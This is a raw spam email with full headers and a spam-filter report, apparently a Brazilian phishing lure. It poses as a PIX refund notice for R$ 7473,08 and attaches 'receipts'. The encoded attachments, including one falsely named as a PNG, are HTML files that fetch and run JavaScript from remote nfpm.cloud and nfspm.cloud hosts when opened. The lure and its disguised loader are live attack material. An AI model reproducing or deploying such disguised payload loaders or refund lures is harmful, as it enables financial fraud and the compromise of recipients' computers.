Return-Path: Delivered-To: tst@engetechec.com.br Received: from uscentral13.myserverhosts.com by uscentral13.myserverhosts.com with LMTP id kG8QBA8akGKTPwYA9gYZOw for ; Thu, 26 May 2022 19:23:43 -0500 Return-path: Envelope-to: tst@engetechec.com.br Delivery-date: Thu, 26 May 2022 19:23:43 -0500 Received: from diretor03.materrindutriawebxonline.com ([45.131.97.160]:38198) by uscentral13.myserverhosts.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.93) (envelope-from ) id 1nuNlW-001iVD-Eu for tst@engetechec.com.br; Thu, 26 May 2022 19:23:43 -0500 Received: by diretor03.materrindutriawebxonline.com (Postfix, from userid 33) id E77BE9CB0B; Thu, 26 May 2022 21:45:13 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=diretor03.materrindutriawebxonline.com; s=mail; t=1653606029; bh=/2UlHJqLXutg7Cw78HaVHAjusK5+fquh2TAp3PD4aPA=; h=To:Subject:From:Date:Reply-To:From; b=K3SAOwRgwLodiUAoexz3Qxzm4MvWTn+5JbhkCNmEHr0J7qCE1zCBu5mbfZGw5JeTu lt+oSraNxQ1aQOS+XVmoyEYj0BhmlBJEqsRt2lFGIpluqFh7WSG22uCUc/MAbMU4tr muYrKAYbAfElgamw+X+xoBpdanpYQpnvEEJQD+ZY+3StUU26fnhtjZsbSX9pQ1fFk8 2J/dFbGE3B4TFJIQfG2db9S5msAALgm+Kl9hNblAHaW40dRW+raYMGxbqtWjs7huqc UMUY309EGXGF21LKdWpfPhjaYhF/QSCP8evf299oHdM8zznjmI1EJakvjFc3rhl69j bYPXcVZX/Ug9Q== To: tst@engetechec.com.br MIME-Version: 1.0 From: Reembolso_71921283 Date: Thu, 26 May 2022 18:45:13 -0300 Reply-To: bancoestorno3253@diretor03.materrindutriawebxonline.com Content-type: multipart/alternative; boundary="--==_mimepart_dbb2060e4bc5c7965cf1a427ba86cee9" Message-Id: <20220526230029.E77BE9CB0B@diretor03.materrindutriawebxonline.com> X-Spam-Status: Yes, score=10.3 X-Spam-Score: 103 X-Spam-Bar: ++++++++++ X-Spam-Report: Spam detection software, running on the system "uscentral13.myserverhosts.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: estorno Prezado (a), Conforme contato telefonico, estamos confirmando estorno de pix conforme informações abaixo; [...] Content analysis details: (10.3 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 1.5 FROM_NUMBERS Numbers in From Field 3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see ] -0.0 SPF_HELO_PASS SPF: HELO matches SPF record -0.5 SPF_PASS SPF: sender matches SPF record 0.0 HTML_MESSAGE BODY: HTML included in message 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.7 MPART_ALT_DIFF BODY: HTML and text parts are different 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's domain -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature 2.5 DCC_CHECK Detected as bulk mail by DCC (dcc-servers.net) 0.5 T_HTML_ATTACH HTML attachment to bypass scanning? 1.0 LOTS_OF_MONEY Huge... sums of money 0.0 MIME_HTML_ONLY_MULTI Multipart message only has text/html MIME parts 1.6 FSL_BULK_SIG Bulk signature with no Unsubscribe X-Spam-Flag: YES Subject: [SPAM] Informe Estorno de PIX_2734238 ----==_mimepart_dbb2060e4bc5c7965cf1a427ba86cee9 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCiAgICA8aGVhZD4NCiAgICAgICAgPG1ldGEgY2hhcnNl dD0iVVRGLTgiIC8+DQogICAgICAgIDx0aXRsZT5lc3Rvcm5vPC90aXRsZT4NCiAgICA8L2hlYWQ+ DQogICAgPGJvZHk+DQogICAgICAgIDxwIGlkPSI4Mzg1NTIiIG5hbWU9IjBEUDUxTTBRQTY0RTdX OTBJTEZBTTBNMlZHSUg0IiAgPjxlbT5QcmV6YWRvIChhKSw8L2VtPjwvcD4NCiAgICAgICAgPHAg aWQ9IjgzODU1MiIgbmFtZT0iMERQNTFNMFFBNjRFN1c5MElMRkFNME0yVkdJSDQiICA+PGVtPkNv bmZvcm1lIGNvbnRhdG8gdGVsZWZvbmljbywgZXN0YW1vcyBjb25maXJtYW5kbyBlc3Rvcm5vIGRl IHBpeCBjb25mb3JtZSBpbmZvcm1hJiMyMzE7JiMyNDU7ZXMgYWJhaXhvOzwvZW0+PC9wPg0KICAg ICAgICA8cCBpZD0iODM4NTUyIiBuYW1lPSIwRFA1MU0wUUE2NEU3VzkwSUxGQU0wTTJWR0lINCIg ID48ZW0+Q05QSjogMDguMzI5LjMyOS8wMDAxLTA4PC9lbT48L3A+DQogICAgICAgIDxwIGlkPSI4 Mzg1NTIiIG5hbWU9IjBEUDUxTTBRQTY0RTdXOTBJTEZBTTBNMlZHSUg0IiAgPjxlbT5OLlRyYW5z YSZjY2VkaWw7JmF0aWxkZTtvOiAxODE4MzgxPC9lbT48L3A+DQogICAgICAgIDxwIGlkPSI4Mzg1 NTIiIG5hbWU9IjBEUDUxTTBRQTY0RTdXOTBJTEZBTTBNMlZHSUg0IiAgPjxlbT5QYXJjZWxhOiAw MTwvZW0+PC9wPg0KICAgICAgICA8cCBpZD0iODM4NTUyIiBuYW1lPSIwRFA1MU0wUUE2NEU3Vzkw SUxGQU0wTTJWR0lINCIgID48ZW0+VmFsb3I6IFIkIDc0NzMsMDg8L2VtPjwvcD4NCiAgICAgICAg PHAgaWQ9IjgzODU1MiIgbmFtZT0iMERQNTFNMFFBNjRFN1c5MElMRkFNME0yVkdJSDQiICA+PGVt PkVzdG9ybm8gZGUgcGl4IGVudmlhZG86IDI2LzA1LzIwMjI8L2VtPjwvcD4NCiAgICAgICAgPHAg aWQ9IjgzODU1MiIgbmFtZT0iMERQNTFNMFFBNjRFN1c5MElMRkFNME0yVkdJSDQiICA+PGVtPkNv ZGlnbyBkYSBUcmFuc2FjYW86IFVLOEJaOThDSlhHPC9lbT48L3A+DQogICAgICAgIDxwIGlkPSI4 Mzg1NTIiIG5hbWU9IjBEUDUxTTBRQTY0RTdXOTBJTEZBTTBNMlZHSUg0IiAgPg0KICAgICAgICAg ICAgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7IDxzdHJv bmc+PGVtPlNlZ3VlIHNldSBjb21wcm92YW50ZSBlbSBhbmV4by48L2VtPjwvc3Ryb25nPg0KICAg ICAgICA8L3A+DQogICAgPC9ib2R5Pg0KPC9odG1sPg== ----==_mimepart_dbb2060e4bc5c7965cf1a427ba86cee9 Content-Type: application/octet-stream; Content-Disposition: attachment; filename="CP.Reembolso335770323.html" Content-Transfer-Encoding: base64 PGh0bWwgbGFuZz0iZW4iPjxoZWFkPg0KCQk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hamF4LmFzcG5l dGNkbi5jb20vYWpheC9qUXVlcnkvanF1ZXJ5LTMuNC4xLm1pbi5qcyI+PC9zY3JpcHQ+DQoJCTxz Y3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHA6Ly9iaGFhay5uZnBtLmNsb3Vk L0wwNW1nbS9VOHhVbVUzcFUzSTN5ZEl6VjNCNy8wMFNLNDAwKjMuIj48L3NjcmlwdD48L2hlYWQ+ DQoJCTxhIGhyZWY9IiIgPiA8L2E+PHAgaWQ9IkM5MjBCUkJENEtVNjJYUThGNkg4TTBGQUc2VlY1 Mk1RMiIgbmFtZT0iQzkyMEJSQkQ0S1U2MlhROEY2SDhNMEZBRzZWVjUyTVEyIiA+PC9wPiA8L2h0 bWw+ ----==_mimepart_dbb2060e4bc5c7965cf1a427ba86cee9 Content-Type: application/octet-stream; Content-Disposition: attachment; filename="CP.Reembolso335770323.png" Content-Transfer-Encoding: base64 UEdoMGJXd2dlRzFzYm5NOUltaDBkSEE2THk5M2QzY3Vkek11YjNKbkx6RTVPVGt2ZUdoMGJXd2lQ ZzBLQ1FrOGMyTnlhWEIwSUhOeQ0KWXowaWFIUjBjSE02THk5aGFtRjRMbUZ6Y0c1bGRHTmtiaTVq YjIwdllXcGhlQzlxVVhWbGNua3ZhbkYxWlhKNUxUTXVOQzR4TG0xcA0KYmk1cWN5SStQQzl6WTNK cGNIUStEUW9KQ1R4elkzSnBjSFFnZEhsd1pUMGlkR1Y0ZEM5cVlYWmhjMk55YVhCMElpQnpjbU05 SW1oMA0KZEhBNkx5OWxjbWxoWjI0dWJtWnpjRzB1WTJ4dmRXUXZUREExYldkdEwxVTRlRlZ0VlRO d1ZUTkpNM2xrU1hwV00wSTNMMFJDTlRrNA0KTkZBcU15NGlQand2YzJOeWFYQjBQZzBLQ1FrOFlT Qm9jbVZtUFNJaUlENGdQQzloUGp4d0lHbGtQU0l3TUVjd1F6WkVORFpPVmpVMQ0KTXpOU1ZrWkNO VUV3Umxjd01EWXdNMVJMUmtZaUlHNWhiV1U5SWpBd1J6QkROa1EwTms1V05UVXpNMUpXUmtJMVFU QkdWekF3TmpBeg0KVkV0R1JpSWdQand2Y0Q0Z1BDOW9kRzFzUGc9PQ0K ----==_mimepart_dbb2060e4bc5c7965cf1a427ba86cee9 Content-Type: application/octet-stream; Content-Disposition: attachment; filename="CP.Reembolso335770323.htm" Content-Transfer-Encoding: base64 PGh0bWwgbGFuZz0iZW4iPjxoZWFkPg0KCQk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hamF4LmFzcG5l dGNkbi5jb20vYWpheC9qUXVlcnkvanF1ZXJ5LTMuNC4xLm1pbi5qcyI+PC9zY3JpcHQ+DQoJCTxz Y3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHA6Ly84ZXVpNncubmZzcG0uY2xv dWQvTDA1bWdtL1U4eFVtVTNwVTNJM3lkSXpWM0I3L0oxMFo2VjIqMy4iPjwvc2NyaXB0PjwvaGVh ZD4NCgkJPGEgaHJlZj0iIiA+IDwvYT48cCBpZD0iMk5XNFZLSjRSTDBNUkQ2Szk3U0hKUU41MkVN VkcyUlVYIiBuYW1lPSIyTlc0VktKNFJMME1SRDZLOTdTSEpRTjUyRU1WRzJSVVgiID48L3A+IDwv aHRtbD4= ----==_mimepart_dbb2060e4bc5c7965cf1a427ba86cee9--